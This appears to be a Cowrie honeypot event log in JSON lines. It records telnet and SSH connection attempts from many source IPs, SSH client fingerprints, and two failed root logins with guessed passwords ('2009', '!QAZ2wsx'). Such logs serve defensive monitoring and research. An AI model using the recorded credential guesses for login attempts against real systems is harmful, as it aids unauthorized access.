{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38052,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f708a8bc14","protocol":"telnet","message":"New connection: 157.15.20.138:38052 (159.203.135.109:23) [session: d0f708a8bc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:14.343257Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":39106,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8551990f94","protocol":"telnet","message":"New connection: 108.61.224.215:39106 (159.203.135.109:23) [session: fe8551990f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:14.405394Z"}
{"eventid":"cowrie.session.closed","duration":30.47791361808777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:15.418016Z","src_ip":"103.171.45.122","session":"2f600b4ef1ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67949080467224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:15.465517Z","src_ip":"51.15.157.40","session":"7678675c1529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238814115524292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:15.680768Z","src_ip":"51.15.157.40","session":"91470668e2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56900,"dst_ip":"159.203.135.109","dst_port":23,"session":"df18ad10c08a","protocol":"telnet","message":"New connection: 103.171.45.122:56900 (159.203.135.109:23) [session: df18ad10c08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:16.163403Z"}
{"eventid":"cowrie.session.closed","duration":30.55712914466858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:16.320659Z","src_ip":"103.171.45.122","session":"fca87ca58569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35320,"dst_ip":"159.203.135.109","dst_port":23,"session":"192973127055","protocol":"telnet","message":"New connection: 51.15.157.40:35320 (159.203.135.109:23) [session: 192973127055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:16.564855Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56906,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d387deffa6","protocol":"telnet","message":"New connection: 103.171.45.122:56906 (159.203.135.109:23) [session: f5d387deffa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:17.293583Z"}
{"eventid":"cowrie.session.closed","duration":31.36208748817444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:17.657721Z","src_ip":"62.171.133.168","session":"0224a9fbd8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56920,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37346d57794","protocol":"telnet","message":"New connection: 103.171.45.122:56920 (159.203.135.109:23) [session: d37346d57794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:17.928328Z"}
{"eventid":"cowrie.session.closed","duration":30.332651138305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:18.150002Z","src_ip":"157.15.20.138","session":"77d6ec63610c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48347544670105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:18.284083Z","src_ip":"103.171.45.122","session":"0d4a2c3bc0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":39118,"dst_ip":"159.203.135.109","dst_port":23,"session":"406d97f42e2c","protocol":"telnet","message":"New connection: 108.61.224.215:39118 (159.203.135.109:23) [session: 406d97f42e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:18.610300Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56930,"dst_ip":"159.203.135.109","dst_port":23,"session":"57df6b7cac6c","protocol":"telnet","message":"New connection: 103.171.45.122:56930 (159.203.135.109:23) [session: 57df6b7cac6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:18.703556Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34506,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc8c887552a","protocol":"telnet","message":"New connection: 157.15.20.138:34506 (159.203.135.109:23) [session: 1fc8c887552a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:18.932516Z"}
{"eventid":"cowrie.session.closed","duration":30.581520080566406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:19.066981Z","src_ip":"62.171.133.168","session":"c89a55a820c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.516435623168945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:19.075735Z","src_ip":"34.69.118.1","session":"e1d0e9fce15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":59706,"dst_ip":"159.203.135.109","dst_port":23,"session":"44928fe50c35","protocol":"telnet","message":"New connection: 62.171.133.168:59706 (159.203.135.109:23) [session: 44928fe50c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:19.098331Z"}
{"eventid":"cowrie.session.closed","duration":31.087075233459473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:20.263458Z","src_ip":"104.236.196.85","session":"62e5dbfb2b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fd7cfa10fd","protocol":"telnet","message":"New connection: 62.171.133.168:56842 (159.203.135.109:23) [session: a5fd7cfa10fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:20.285690Z"}
{"eventid":"cowrie.session.closed","duration":30.75639796257019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:21.035802Z","src_ip":"62.171.133.168","session":"a923f5679041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56846,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d0cd77a892b","protocol":"telnet","message":"New connection: 62.171.133.168:56846 (159.203.135.109:23) [session: 6d0cd77a892b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:21.184067Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34518,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e044cceabae","protocol":"telnet","message":"New connection: 157.15.20.138:34518 (159.203.135.109:23) [session: 6e044cceabae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:21.437305Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34528,"dst_ip":"159.203.135.109","dst_port":23,"session":"86756acf8c8c","protocol":"telnet","message":"New connection: 157.15.20.138:34528 (159.203.135.109:23) [session: 86756acf8c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:21.752865Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7771ce09756","protocol":"telnet","message":"New connection: 62.171.133.168:56860 (159.203.135.109:23) [session: b7771ce09756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:21.845668Z"}
{"eventid":"cowrie.session.closed","duration":31.323885202407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:22.050286Z","src_ip":"157.15.20.138","session":"8e7389aae265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":56864,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c0d1a992bc","protocol":"telnet","message":"New connection: 62.171.133.168:56864 (159.203.135.109:23) [session: 55c0d1a992bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:22.172947Z"}
{"eventid":"cowrie.session.closed","duration":30.842846155166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:22.762148Z","src_ip":"108.61.224.215","session":"31289df841dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128621578216553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:23.052237Z","src_ip":"62.171.133.168","session":"4a546a085303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":39132,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b69a323122","protocol":"telnet","message":"New connection: 108.61.224.215:39132 (159.203.135.109:23) [session: 13b69a323122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:23.251474Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed9b1c5260d6","protocol":"telnet","message":"New connection: 34.69.118.1:57204 (159.203.135.109:23) [session: ed9b1c5260d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:23.812285Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ac60d40d60","protocol":"telnet","message":"New connection: 34.69.118.1:57214 (159.203.135.109:23) [session: f6ac60d40d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:23.872695Z"}
{"eventid":"cowrie.session.closed","duration":30.511723518371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:24.257644Z","src_ip":"103.171.45.122","session":"2f5beae958c7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:24.273156Z","src_ip":"122.168.114.167","session":"7b6472d9f5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:24.277358Z","src_ip":"122.168.114.167","session":"7b6472d9f5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.95.157.206","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0968d0b35eb","protocol":"telnet","message":"New connection: 115.95.157.206:50608 (159.203.135.109:23) [session: a0968d0b35eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:25.527319Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34534,"dst_ip":"159.203.135.109","dst_port":23,"session":"00aacbbd9590","protocol":"telnet","message":"New connection: 157.15.20.138:34534 (159.203.135.109:23) [session: 00aacbbd9590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:25.590537Z"}
{"eventid":"cowrie.session.closed","duration":31.885587453842163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:26.787743Z","src_ip":"157.15.20.138","session":"996b058f31d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74189329147339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:26.971154Z","src_ip":"62.171.133.168","session":"556b17a06806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29758620262146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:26.992492Z","src_ip":"62.171.133.168","session":"0cbffeed7070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768276929855347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.209608Z","src_ip":"103.171.45.122","session":"cb24ae496a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12936305999756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.321978Z","src_ip":"51.15.157.40","session":"69a945b33d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":48128,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5dd4b5f0d81","protocol":"telnet","message":"New connection: 157.15.20.138:48128 (159.203.135.109:23) [session: f5dd4b5f0d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.523326Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":32800,"dst_ip":"10.17.0.5","dst_port":22,"session":"b350de0273be","protocol":"ssh","message":"New connection: 221.139.88.149:32800 (10.17.0.5:22) [session: b350de0273be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.621245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.625500Z","src_ip":"221.139.88.149","session":"b350de0273be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":48132,"dst_ip":"159.203.135.109","dst_port":23,"session":"c35925b2549d","protocol":"telnet","message":"New connection: 157.15.20.138:48132 (159.203.135.109:23) [session: c35925b2549d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.887541Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:28.894347Z","src_ip":"221.139.88.149","session":"b350de0273be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54783344268799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:29.247052Z","src_ip":"103.171.45.122","session":"f81f3df661b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2009","message":"login attempt [root/2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:29.849056Z","src_ip":"221.139.88.149","session":"b350de0273be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.15779995918274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:30.219417Z","src_ip":"34.69.118.1","session":"6c285bd77ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44817066192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:30.238748Z","src_ip":"157.15.20.138","session":"51b0ae90d4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913899183273315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:30.340425Z","src_ip":"103.171.45.122","session":"225791d9193a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957322359085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:30.797457Z","src_ip":"108.61.224.215","session":"8fbf29b5e959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:31.070958Z","src_ip":"221.139.88.149","session":"b350de0273be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:31.917122Z","src_ip":"122.168.114.167","session":"7b6472d9f5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50790,"dst_ip":"159.203.135.109","dst_port":23,"session":"8048db40cf8f","protocol":"telnet","message":"New connection: 51.15.157.40:50790 (159.203.135.109:23) [session: 8048db40cf8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.214815Z"}
{"eventid":"cowrie.session.closed","duration":30.930992126464844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.512005Z","src_ip":"157.15.20.138","session":"c0588e241472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996506214141846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.809960Z","src_ip":"157.15.20.138","session":"622cc977db36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.269322395324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.837202Z","src_ip":"157.15.20.138","session":"c89a3b6536f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d443ff3444","protocol":"telnet","message":"New connection: 157.15.20.138:48136 (159.203.135.109:23) [session: 99d443ff3444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.974039Z"}
{"eventid":"cowrie.session.closed","duration":30.532604932785034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:32.980351Z","src_ip":"62.171.133.168","session":"5d14e4660124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53216,"dst_ip":"159.203.135.109","dst_port":22,"session":"8417cfb11fac","protocol":"ssh","message":"New connection: 122.168.114.167:53216 (159.203.135.109:22) [session: 8417cfb11fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:33.793004Z"}
{"eventid":"cowrie.session.closed","duration":30.759568691253662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:33.971287Z","src_ip":"62.171.133.168","session":"93382e7d6f9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128092765808105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:34.199998Z","src_ip":"157.15.20.138","session":"d4369985f1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"85.0","message":"Connection lost after 85.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:34.340464Z","src_ip":"122.168.114.167","session":"7b6472d9f5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53229808807373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:34.384609Z","src_ip":"62.171.133.168","session":"e90ad0a75813","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:34.768321Z","src_ip":"122.168.114.167","session":"8417cfb11fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:34.798938Z","src_ip":"122.168.114.167","session":"8417cfb11fac","protocol":"ssh"}
